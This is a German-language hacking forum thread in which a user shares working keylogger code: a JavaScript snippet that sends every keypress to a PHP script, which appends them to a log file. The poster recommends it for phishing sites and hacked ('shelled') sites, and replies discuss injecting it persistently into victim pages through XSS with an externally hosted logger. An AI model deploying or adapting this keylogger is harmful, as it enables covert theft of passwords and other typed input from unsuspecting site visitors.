3 replies to this topic

[B1nary]

Hi zusammen,

hab was ganz Brauchbares gefunden: einen Javascript-Keylogger

index.php

<script type="text/javascript">
document.onkeypress = function(log) {
log = log || window.event;
	 if (String.fromCharCode(log.charCode)) {
		 var http = new XMLHttpRequest();
		 var input = encodeURI(String.fromCharCode(log.charCode));
		 http.open("POST", "keylogger.php", true);
		 http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
		 http.send("inp=" + input); } }
</script>

keylogger.php

<?php
$keylog = $_POST['inp'];
if (!empty($keylog)):
    $fopen = @fopen('log.txt', 'a+');
    @fwrite($fopen, $keylog);
    @fclose($fopen);
endif;
?>

Die log.txt wird automatisch erstellt.
Brauchbar für: Phishing-Sites, shelled Sites

hf

[0x90]

Loggt aber nur auf der aktuellen Domain. Wenn sich der Cursor in einem iFrame befindet, was auf ne andere Domain pointed, wird nichts geloggt.

[CyberFlash]

Das ganze könnte auch mit XSS gemischt werden .. ?
Heut Abend ma testen
Danke schon ma .png' class='bbc_emoticon' alt='^^' />

[B1nary]

Das ganze könnte auch mit XSS gemischt werden .. ?
Heut Abend ma testen
Danke schon ma .png' class='bbc_emoticon' alt='^^' />

joa, wenn du die keylogger.php auslagerst und das Javascript persistent via XSS auf der Vic-Page speichern könntest....das wär natürlich geil